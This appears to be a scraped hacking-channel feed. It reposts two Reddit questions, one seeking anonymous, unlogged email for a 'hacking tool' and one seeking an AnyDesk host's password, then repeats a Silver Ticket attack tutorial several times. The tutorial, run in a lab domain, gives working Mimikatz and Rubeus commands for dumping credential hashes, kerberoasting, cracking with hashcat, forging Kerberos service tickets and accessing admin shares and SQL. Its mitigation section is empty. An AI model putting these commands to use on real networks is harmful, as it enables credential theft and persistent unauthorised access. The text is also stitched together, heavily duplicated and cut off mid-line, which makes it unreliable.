hacking: security in practice
Do all or most SMTP services like Google Gmail and Microsoft Outlook log my emails sent and received? Any unlogged and anonymous SMTP services available out there?
Hello!
I am coding a hacking tool console application. I want it to report results and statuses to the application user. I thought that email and SMTP is already available and pretty simple to use and implement.
However, I will not go with the SMTP option if there are no services out there that do not log my activity and emails. Are there any known services out there where my activity and emails are held private?
Maybe I should just build a second app that polls reports from a database that the console application can upload reports to instead.
Is SMTP amd emails a "no no" if I want to keep my stuff private?
I am only testing the application on a local WordPress site on my own machine so I'm doing it legally.
I'm quite new to hacking and learning. So please go easy on me.
Thanks! Happy Saturday!
submitted by /u/EggBender93
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Do all or most SMTP services like Google Gmail and Microsoft Outlook log my emails sent and received? Any unlogged and anonymous SMTP services available out there?
Hello!
I am coding a hacking tool console application. I want it to report results and statuses to the application user. I thought that email and SMTP is already available and pretty simple to use and implement.
However, I will not go with the SMTP option if there are no services out there that do not log my activity and emails. Are there any known services out there where my activity and emails are held private?
Maybe I should just build a second app that polls reports from a database that the console application can upload reports to instead.
Is SMTP amd emails a "no no" if I want to keep my stuff private?
I am only testing the application on a local WordPress site on my own machine so I'm doing it legally.
I'm quite new to hacking and learning. So please go easy on me.
Thanks! Happy Saturday!
submitted by /u/EggBender93
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Do all or most SMTP services like Google Gmail and Microsoft...
Hello! I am coding a hacking tool console application. I want it to report results and statuses to the application user. I thought that email...
hacking: security in practice
Reversing an AnyDesk Connection
Hi! I don't know where to ask this but I want to reverse an AnyDesk connection. I know you can trick the scammer/host but I don't know what to specifically do. So I was wondering if there was any way to get the hosts password by any chance? Thanks!
submitted by /u/boop_xyz
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Reversing an AnyDesk Connection
Hi! I don't know where to ask this but I want to reverse an AnyDesk connection. I know you can trick the scammer/host but I don't know what to specifically do. So I was wondering if there was any way to get the hosts password by any chance? Thanks!
submitted by /u/boop_xyz
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Reversing an AnyDesk Connection
Hi! I don't know where to ask this but I want to reverse an AnyDesk connection. I know you can trick the scammer/host but I don't know what to...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Domain Persistence: Silver Ticket Attack
IntroductionBenjamin Delpy (the creator of mimikatz) introduced silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of a service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks.Table of content· Silver Ticket Theory· Silver Ticket using Mimikatz· Silver Ticket using Rubeus· Mitigation· ConclusionBefore we begin, it is highly recommended you read about golden tickets here.STEP 1: Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.STEP 2: For a new ticket by specifying the following things:Service hashService nameTarget FQDNDomain SIDSTEP 3: Inject the newly created silver ticket into the terminal session to utilize and maintain persistenceSilver Ticket via MimikatzIn the demo you will now see, you’ll notice that we have used NTLM hash of the machine account “dc1$.” Many of you might get confused as we had to use the hash of a service account. Please note that a computer also hosts multiple services, one of which being Common Internet File System Service (CIFS - the file sharing service). Thus, the password hash of the CIFS service is same as the machine account.Goal: Craft a silver ticket to establish persistence on CIFS (sharing) on dc1.ignite.local machine___________________________
@hacking_Attack
@Hacking_Video
Domain Persistence: Silver Ticket Attack
IntroductionBenjamin Delpy (the creator of mimikatz) introduced silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of a service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks.Table of content· Silver Ticket Theory· Silver Ticket using Mimikatz· Silver Ticket using Rubeus· Mitigation· ConclusionBefore we begin, it is highly recommended you read about golden tickets here.STEP 1: Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.STEP 2: For a new ticket by specifying the following things:Service hashService nameTarget FQDNDomain SIDSTEP 3: Inject the newly created silver ticket into the terminal session to utilize and maintain persistenceSilver Ticket via MimikatzIn the demo you will now see, you’ll notice that we have used NTLM hash of the machine account “dc1$.” Many of you might get confused as we had to use the hash of a service account. Please note that a computer also hosts multiple services, one of which being Common Internet File System Service (CIFS - the file sharing service). Thus, the password hash of the CIFS service is same as the machine account.Goal: Craft a silver ticket to establish persistence on CIFS (sharing) on dc1.ignite.local machine___________________________
@hacking_Attack
@Hacking_Video
Blogspot
Domain Persistence: Silver Ticket Attack
Hacking Articles is a very interesting blog about information security, penetration testing and vulnerability assessment managed by Raj Chandel.
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Domain Persistence: Silver Ticket Attack IntroductionBenjamin Delpy (the creator of mimikatz) introduced silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets…
;o:p privilege::debughttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLcYnRAZlnmL_2zhm-3w8Huw4uUU1dEB51E80P-B5x7H8fCpRx-902bToFCkQBsG6EZ0NJm78z_ijIaX2LKRa9v5fRDalBE2lxNNex1vo5rJ0-lR5fmLuRSRy5YLs20Gq1ALeGWpS_l3q3eM166zq_CiQA-1LdpCBnS7XFBxqdWv64F8WyeOnoRssMg/s16000/2.png This shall dump all the hashes in machine memory including hash of the machine account. Upon a little scrolling we found NTLM of our machine account “dc1$”whoami /userhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-zzxFaePI-MbGlgyMXyS4OtRTcvChM6Q59chGSl3JDHrfkPvcIKTCPajrMI7VXOwWgMMNZN4nV0gmkuSM7uOyv7xS6wbZMpiPasQbyaPJruWQ1cH7yWLy8M5gOg7QQsYVY4BEOSkxmS0oscTVzcAPEHAAGrSOMcvge7R--To1YHzMgtfvlH76f3zTAA/s16000/4.png Now, to forge a silver ticket, Mimikatz’s “golden” module can be used. We just insert our variables.kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4pbgA_fJnfWJHVJfKnwJEsKL6l6si0Vupxx6FaVApcO5vHlEmHdarN4nhOClVCKTkEm39PKRZZcSiNNccnouM6bH3fNmUpY-3bVLqVdJcyHVhYdjP5GUxP-ysu_lfWl7zUpGVsad2qYbdIr0OFAW-p3BPZGBEiwYtKTz7Hj7g6CBZWJuCZG-rGHB6XA/s16000/5.png As you can see above, a ticket has now been saved in the current session’s memory. Now you would be able to access CIFS of the target machine.dir \\dc1.ignite.local\c$https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRh5xHeMLApmdBu0vHyGpsImPhiDhY87WImt3_XkyIwIr69BZANc0fqcCX8SquKq_-XYhWHkP2qKhOKA7bQIfIfgW5TxpYpwZm3lp-Gq_2WYZgGUodpuytseUBVpgt3efX-OtCObpFYAiSpAXk--azafH7juYeH0YKZzveZICVz_436Dcdrmi0bw_4Hg/s16000/6.png If, however, you do not want to insert the ticket in memory right away and rather would prefer that a ticket.kirbi file be saved instead, you just remove the “/ptt” flag and leave rest as it iskerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3ochIsZCuNCrqsjXrYvb6-FIxdYKNSvV1U2BCOTlKpsT0r4D9vmeQjO5mB1umrGPQt1o7N4wCqaRs4ajL-gBEwMmpNuK2j2vBuMs2V0Jjqtc4u-mPs_Ai1hZOAq-WCdZ1YTLsTdh27ELjtUZGCQ8Mrj0Pf-YzFRQ-6bHRNbn6Jvds075hXRYZGyiQA/s16000/7.png Now this kirbi ticket can be used with tools like Rubeus ptt module and inserted in memory and used whenever we wantrubeus.exe ptt /ticket:ticket.kirbihttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilj0PEXCnMuDNMg-lnHN0UHh4VaJ2gz1o-zJ__PkAwOX6f45sz3mPoNztgZ1vM-1EfyPpaA77O0wVw71TRJ248lJb8XBslpj3WMFwGpvsTuIHwSP1rDGxHGl89moMoXon8sFCTT0G9i[...]
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
;o:p privilege::debughttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLcYnRAZlnmL_2zhm-3w8Huw4uUU1dEB51E80P-B5x7H8fCpRx-902bToFCkQBsG6EZ0NJm78z_ijIaX2LKRa9v5fRDalBE2lxNNex1vo5rJ0-lR5fmLuRSRy5YLs20Gq1ALeGWpS_l3q3eM166zq_CiQA-1LdpCBnS7XFBxqdWv64…
WTUkz-9pcbTMSPJhbWC1KvNipKF0-iPPaRPoMRkUkqYiZvJEg/s16000/8.png And of course, the entire procedure above can be done using Rubeus only.Silver Ticket using RubeusWe have already seen CIFS as an example and if you’re following the article so far, you’d be able to replicate the same with Rubeus too by using the commands given just a scroll away. However, I wanted to target a different service this time so I set up a SQL server and assigned the service to be run by the user “sqluser” (can be done by going to run->services.msc->SQL->properties->logon)rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowraphttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLHbIAMWPF1UJF0ACeAx7DcDeCVMB6UuPmN6kQTh-rH3fD7AjrFHuei6AFx_-NrE90cuqhm35aRXntKKqLgBN97cAHEVoW5bgLSmUp5_LRMr4A8ufPextlUrhi2U-oQW_iF9iPM3dqk0ivOYB3fIWHadLoke2qIoWSbDXRWxQi7KVZey7HbnezC2FNww/s16000/9.png As you can see, Rubeus has automatically determined a valid Kerberoastable account and dumped its TGS. We will now extract the Password from this TGS offline using Hashcathashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwVA4VlVmPlr6BMbZDIsxvbeLd6-1HOOkuoxNQ9UhHpZJo4QaNLj5AApTcxI7BgKDHIyygKQiwJwmCzYPtQm7pkJBfW7ecu-kknFz0a_e2z3rtFvsrUl5s8iFs02kPGGpI9bmrUIwXIsVld18j5dpPbpVJJ1qxHy-Y1IYVI5yiVbwtfvdCDlvuJg_-wQ/s16000/10.png In a few seconds we received our clear text password, “Password@1”rubeus.exe hash /password:Password@1https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBbu0ONmAmV7fx6jO4SazkNJG2A3Iq4_bIbmfbpkvNpaZjAknQzaSLziylqiv9UI8U-O4aFkrxy6PK2ZpbGJoGe0SAxKfIRDeVLKkrfGa6dfMa2PO-nuTHV4ccuV9B-P3JYi2B5v5hm6ak2sAo3mhe-unY6oK8bdzFPN0pay-wPif7YgIDG2XiUZXpw/s16000/12.png We also need to know the SID. This can be done using whoami /user commandrubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvw-PmuJHdu9RsjTCisswfqY-oVZWl4G1VG5BFz0uPLT3QHvuDm3w5GN6Ek9T2w7XmQ2yfm1CUbgPRiBYnZz4LwTPHZvNvVs5Ra0NC_X59VphuE3LAJDVMk_gGPMFhUeCiENputx1-h0hnIEdvyM3AvP1Jbk7W4I0qJn9gdvcolG5CgqDvOcMc_3REDQ/s16000/14.png The /ptt option imports the ticket in the current session altogether. Without /ptt the ticket.kirbi file will be saved instead. But as you can see a valid silver ticket has now been created___________________________
@hacking_Attack
@Hacking_Video
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
WTUkz-9pcbTMSPJhbWC1KvNipKF0-iPPaRPoMRkUkqYiZvJEg/s16000/8.png And of course, the entire procedure above can be done using Rubeus only.Silver Ticket using RubeusWe have already seen CIFS as an example and if you’re following the article so far, you’d be able…
68_hzmp5MuvprdxS1XHELjEgWJs_IcqyeHjHy-nrTFVBGG5tvXbYd4P6vhjo0U4ZYLSAzNYM12uQ0V_rpWQBDZm2yUVMsD5wgBiv6-J_WVyWJooMCR3UHaOS_e2LrL0EzJu0UQZN7yiWIGRefOm7yycgPEPk5WeqCtILIvL9drQ/s16000/15.png We can now try to log into the server and run a basic command that displays hostname.sqlcmd -S 192.168.1.2,1433https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZWEifHiEr6TMeRubxJLujatTeWay65ooYGMDNCw6blccqq5BTArf_e4wUnYkLtVQJ_mYxJgVxE1V_KRGLQE5RAqB2BfSWsGKAjrbwav2vkymtcxurA6YVSrnwcZOEKang6qRHIZPsN2bkUoo0LQxj8Hk0-Q3ghsDmBlW1Pz1dvB3cF5X3xIKJSSUxoQ/s16000/16.png And voila! As you can see our user can now connect to the SQL service using the ticket we just forged.MitigationSince the attack is based on offline mechanism and no DC is involved it is difficult to mitigate the attack. However, the following steps can still be taken to ensure protection:ConclusionThe article talked about Silver Ticket attack and how a particular service’s TGS can be forged using this methodology. We also demonstrated practically using 2 tools how an attacker can forge and utilize a silver ticket. In real life environment, getting a golden ticket is quite hard but silver tickets can be forged easily as awareness about Kerberos protection is not quite out there. Hope you liked the article. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Domain Persistence: Silver Ticket Attack
IntroductionBenjamin Delpy (the creator of mimikatz) introduced the silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks. Table of content* Silver Ticket Theory
* Silver Ticket using Mimikatz
* Silver Ticket using Rubeus
* Mitigation
* Conclusion Silver Ticket TheoryBefore we begin, it is highly recommended you read about golden tickets here.
The basic flow of Kerberos can be understood by following our article here. Once you’ve read and understood how Kerberos works, we can proceed with Silver Ticket attack.
With golden ticket attack, we used the hash of a krbtgt account whereas in the case of the silver ticket attack we will use the password hash of a service account. The password hash of the service account can be extracted by various methods, Kerberoasting being one. Since no intermediary TGT is required for the silver ticket attack to work, silver tickets can be forged without any communication with a Domain Controller and hence is stealthier than golden ticket attack.
The way a silver ticket attack works are as follows:
* STEP 1: Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.
* STEP 2: For a new ticket by specifying the following things:
* Service hash
* Service name
* Target FQDN
* Domain SID
* STEP 3: Inject the newly created silver ticket into the terminal session to utilize and maintain persistence
Let’s see this in action. Silver Ticket via MimikatzIn the demo you will now see, you’ll notice that we have used NTLM hash of the machine account “dc1$.” Many of you might get confused as we had to use the hash of a service account. Please note that a computer also hosts multiple services, one of which is the Common Internet File System Service (CIFS – the file sharing service). Thus, the password hash of the CIFS service is the same as the machine account.
Goal: Craft a silver ticket to establish persistence on CIFS (sharing) on dc1.ignite.local machine
Since the attack is all related to maintaining persistence, we have to assume the following:
* Attacker has compromised a low priv victim machine (here, username: harshitrajpal)
* Attacker has somehow gained password/NTLM of the target machine (dc1.ignite.local)
* Attacker crafts silver ticket on low priv machine to gain access and maintain persistence on CIFS service on dc1.ignite.local
Let’s first show you our current user, tickets and what happens when we access sharing on dc1.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAZE9aWw49yFvCEN2cJOzWjIe_G5AqlDaoy44n3lmZX-S166YuTDUGGPyZFIGnZLyM5E-MDe3__tJCsZcqcQ9-2WCItux_IBNBVTfEYwev1YGhvX5atfrti8Cf-vMjQ0OtG8tLfrolMFzEEgg2GmX6eTY7T3BBmv1h1iIf80KJbhX8kO14vSTbYvgLQ/s16000/1.png?w=640&ssl=1
The above machine was the low priv machine.
Next, we need dc1.ignite.local computer account’s hashes. There could be various methods to do so but we’ll fasttrack and use Mimikatz to obtain it. Let’s activate mimikatz first and dump the hashes using sekurlsa::logonpasswords command. Note that you can follow any method to dump hashes.
privilege::debug
sekurlsa::logonpasswords
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLcYnRAZlnmL_2zhm-3w8Huw4uUU1dEB51E80P-B5x7H8fCpRx-902bToFCkQBsG6EZ0NJm78z_ijIaX2LKRa9v5fRDalBE2lxNNex1vo5rJ0-lR5fmLuRSRy5YLs20Gq1ALeGWpS_l3q3eM166zq_CiQA-1LdpCBnS7XFBxqdWv64F8WyeO[...]
___________________________
@hacking_Attack
@Hacking_Video
Domain Persistence: Silver Ticket Attack
IntroductionBenjamin Delpy (the creator of mimikatz) introduced the silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks. Table of content* Silver Ticket Theory
* Silver Ticket using Mimikatz
* Silver Ticket using Rubeus
* Mitigation
* Conclusion Silver Ticket TheoryBefore we begin, it is highly recommended you read about golden tickets here.
The basic flow of Kerberos can be understood by following our article here. Once you’ve read and understood how Kerberos works, we can proceed with Silver Ticket attack.
With golden ticket attack, we used the hash of a krbtgt account whereas in the case of the silver ticket attack we will use the password hash of a service account. The password hash of the service account can be extracted by various methods, Kerberoasting being one. Since no intermediary TGT is required for the silver ticket attack to work, silver tickets can be forged without any communication with a Domain Controller and hence is stealthier than golden ticket attack.
The way a silver ticket attack works are as follows:
* STEP 1: Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.
* STEP 2: For a new ticket by specifying the following things:
* Service hash
* Service name
* Target FQDN
* Domain SID
* STEP 3: Inject the newly created silver ticket into the terminal session to utilize and maintain persistence
Let’s see this in action. Silver Ticket via MimikatzIn the demo you will now see, you’ll notice that we have used NTLM hash of the machine account “dc1$.” Many of you might get confused as we had to use the hash of a service account. Please note that a computer also hosts multiple services, one of which is the Common Internet File System Service (CIFS – the file sharing service). Thus, the password hash of the CIFS service is the same as the machine account.
Goal: Craft a silver ticket to establish persistence on CIFS (sharing) on dc1.ignite.local machine
Since the attack is all related to maintaining persistence, we have to assume the following:
* Attacker has compromised a low priv victim machine (here, username: harshitrajpal)
* Attacker has somehow gained password/NTLM of the target machine (dc1.ignite.local)
* Attacker crafts silver ticket on low priv machine to gain access and maintain persistence on CIFS service on dc1.ignite.local
Let’s first show you our current user, tickets and what happens when we access sharing on dc1.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAZE9aWw49yFvCEN2cJOzWjIe_G5AqlDaoy44n3lmZX-S166YuTDUGGPyZFIGnZLyM5E-MDe3__tJCsZcqcQ9-2WCItux_IBNBVTfEYwev1YGhvX5atfrti8Cf-vMjQ0OtG8tLfrolMFzEEgg2GmX6eTY7T3BBmv1h1iIf80KJbhX8kO14vSTbYvgLQ/s16000/1.png?w=640&ssl=1
The above machine was the low priv machine.
Next, we need dc1.ignite.local computer account’s hashes. There could be various methods to do so but we’ll fasttrack and use Mimikatz to obtain it. Let’s activate mimikatz first and dump the hashes using sekurlsa::logonpasswords command. Note that you can follow any method to dump hashes.
privilege::debug
sekurlsa::logonpasswords
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLcYnRAZlnmL_2zhm-3w8Huw4uUU1dEB51E80P-B5x7H8fCpRx-902bToFCkQBsG6EZ0NJm78z_ijIaX2LKRa9v5fRDalBE2lxNNex1vo5rJ0-lR5fmLuRSRy5YLs20Gq1ALeGWpS_l3q3eM166zq_CiQA-1LdpCBnS7XFBxqdWv64F8WyeO[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Domain Persistence: Silver Ticket Attack
Learn how attackers use Silver Ticket attacks to maintain domain persistence by forging Kerberos TGS without contacting the DC.
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Domain Persistence: Silver Ticket Attack IntroductionBenjamin Delpy (the creator of mimikatz) introduced the silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific…
noRssMg/s16000/2.png?w=640&ssl=1
This shall dump all the hashes in machine memory including the hash of the machine account. Upon a little scrolling, we found NTLM of our machine account “dc1$”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgApInarRBN5f2Edquc7O70XTnmKNm7NDeRCi77qigf46iGKfdDdLPU1MQgWqlKi3V29KO1FGGVi714NXRu7I-yS8yomgEwU2j_HpXeNUYguQjpKnY01MAyWHWHHdIwboxQzOqKtk8Wda-SZt-lJBcjnL3Xo06MwSEXx-vBQj5Jr_JwSPPRpoQI177sbA/s16000/3.png?w=640&ssl=1
Next, to forge a silver ticket we have to find SID of the domain which can easily be found using the command. Please note that the digits after the last hyphen (here, 1115 is called the relative SID and we don’t want that. Everything before that part is the domain SID that is relevant to us)
whoami /user
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-zzxFaePI-MbGlgyMXyS4OtRTcvChM6Q59chGSl3JDHrfkPvcIKTCPajrMI7VXOwWgMMNZN4nV0gmkuSM7uOyv7xS6wbZMpiPasQbyaPJruWQ1cH7yWLy8M5gOg7QQsYVY4BEOSkxmS0oscTVzcAPEHAAGrSOMcvge7R--To1YHzMgtfvlH76f3zTAA/s16000/4.png?w=640&ssl=1
Now, to forge a silver ticket, Mimikatz’s “golden” module can be used. We just insert our variables.
Here, I am using /ptt flag to insert the ticket directly in the current shell.
/id: It is any random ID that would be visible in the event logs upon inspection. Can be randomized.
/sid: Of the domain. Read more about SID here.
/domain: Valid FQDN of the target domain
/service: Service for which ticket is generated
/rc4: NTLM hash of the victim machine’s computer account (found previously)
/user: Impersonated username
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
klist
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4pbgA_fJnfWJHVJfKnwJEsKL6l6si0Vupxx6FaVApcO5vHlEmHdarN4nhOClVCKTkEm39PKRZZcSiNNccnouM6bH3fNmUpY-3bVLqVdJcyHVhYdjP5GUxP-ysu_lfWl7zUpGVsad2qYbdIr0OFAW-p3BPZGBEiwYtKTz7Hj7g6CBZWJuCZG-rGHB6XA/s16000/5.png?w=640&ssl=1
As you can see above, a ticket has now been saved in the current session’s memory. Now you would be able to access CIFS of the target machine.
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRh5xHeMLApmdBu0vHyGpsImPhiDhY87WImt3_XkyIwIr69BZANc0fqcCX8SquKq_-XYhWHkP2qKhOKA7bQIfIfgW5TxpYpwZm3lp-Gq_2WYZgGUodpuytseUBVpgt3efX-OtCObpFYAiSpAXk--azafH7juYeH0YKZzveZICVz_436Dcdrmi0bw_4Hg/s16000/6.png?w=640&ssl=1
If, however, you do not want to insert the ticket in memory right away and rather would prefer that a ticket.kirbi file be saved instead, you just remove the “/ptt” flag and leave rest as it is
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
klist
dir
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3ochIsZCuNCrqsjXrYvb6-FIxdYKNSvV1U2BCOTlKpsT0r4D9vmeQjO5mB1umrGPQt1o7N4wCqaRs4ajL-gBEwMmpNuK2j2vBuMs2V0Jjqtc4u-mPs_Ai1hZOAq-WCdZ1YTLsTdh27ELjtUZGCQ8Mrj0Pf-YzFRQ-6bHRNbn6Jvds075hXRYZGyiQA/s16000/7.png?w=640&ssl=1
Now this kirbi ticket can be used with tools like Rubeus ptt module and inserted in memory and used whenever we want
rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilj0PEXCnMuDNMg-lnHN0UHh4VaJ2gz1o-zJ__PkAwOX6f45sz3mPoNztgZ1vM-1EfyPpaA77O0wVw71TRJ248lJb8XBslpj3WMFwGpvsTuIHwSP1rDGxHGl89moMoXon8sFCTT0G9iWTUkz-9pcbTMSPJhbWC1KvNipKF0-iPPaRPoMRkUkqYiZvJEg/s16000/8.png?w=640&ssl=1
And of course, the entire procedure above can be done using Rubeus only. Silver Ticket using RubeusWe have already seen CIFS as an example and if you’re following the article so far, you’d be able to replicate the same with Rubeus too by using the commands given just a scroll away. Howev[...]
___________________________
@hacking_Attack
@Hacking_Video
This shall dump all the hashes in machine memory including the hash of the machine account. Upon a little scrolling, we found NTLM of our machine account “dc1$”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgApInarRBN5f2Edquc7O70XTnmKNm7NDeRCi77qigf46iGKfdDdLPU1MQgWqlKi3V29KO1FGGVi714NXRu7I-yS8yomgEwU2j_HpXeNUYguQjpKnY01MAyWHWHHdIwboxQzOqKtk8Wda-SZt-lJBcjnL3Xo06MwSEXx-vBQj5Jr_JwSPPRpoQI177sbA/s16000/3.png?w=640&ssl=1
Next, to forge a silver ticket we have to find SID of the domain which can easily be found using the command. Please note that the digits after the last hyphen (here, 1115 is called the relative SID and we don’t want that. Everything before that part is the domain SID that is relevant to us)
whoami /user
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-zzxFaePI-MbGlgyMXyS4OtRTcvChM6Q59chGSl3JDHrfkPvcIKTCPajrMI7VXOwWgMMNZN4nV0gmkuSM7uOyv7xS6wbZMpiPasQbyaPJruWQ1cH7yWLy8M5gOg7QQsYVY4BEOSkxmS0oscTVzcAPEHAAGrSOMcvge7R--To1YHzMgtfvlH76f3zTAA/s16000/4.png?w=640&ssl=1
Now, to forge a silver ticket, Mimikatz’s “golden” module can be used. We just insert our variables.
Here, I am using /ptt flag to insert the ticket directly in the current shell.
/id: It is any random ID that would be visible in the event logs upon inspection. Can be randomized.
/sid: Of the domain. Read more about SID here.
/domain: Valid FQDN of the target domain
/service: Service for which ticket is generated
/rc4: NTLM hash of the victim machine’s computer account (found previously)
/user: Impersonated username
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
klist
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4pbgA_fJnfWJHVJfKnwJEsKL6l6si0Vupxx6FaVApcO5vHlEmHdarN4nhOClVCKTkEm39PKRZZcSiNNccnouM6bH3fNmUpY-3bVLqVdJcyHVhYdjP5GUxP-ysu_lfWl7zUpGVsad2qYbdIr0OFAW-p3BPZGBEiwYtKTz7Hj7g6CBZWJuCZG-rGHB6XA/s16000/5.png?w=640&ssl=1
As you can see above, a ticket has now been saved in the current session’s memory. Now you would be able to access CIFS of the target machine.
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRh5xHeMLApmdBu0vHyGpsImPhiDhY87WImt3_XkyIwIr69BZANc0fqcCX8SquKq_-XYhWHkP2qKhOKA7bQIfIfgW5TxpYpwZm3lp-Gq_2WYZgGUodpuytseUBVpgt3efX-OtCObpFYAiSpAXk--azafH7juYeH0YKZzveZICVz_436Dcdrmi0bw_4Hg/s16000/6.png?w=640&ssl=1
If, however, you do not want to insert the ticket in memory right away and rather would prefer that a ticket.kirbi file be saved instead, you just remove the “/ptt” flag and leave rest as it is
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
klist
dir
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3ochIsZCuNCrqsjXrYvb6-FIxdYKNSvV1U2BCOTlKpsT0r4D9vmeQjO5mB1umrGPQt1o7N4wCqaRs4ajL-gBEwMmpNuK2j2vBuMs2V0Jjqtc4u-mPs_Ai1hZOAq-WCdZ1YTLsTdh27ELjtUZGCQ8Mrj0Pf-YzFRQ-6bHRNbn6Jvds075hXRYZGyiQA/s16000/7.png?w=640&ssl=1
Now this kirbi ticket can be used with tools like Rubeus ptt module and inserted in memory and used whenever we want
rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\dc1.ignite.local\c$
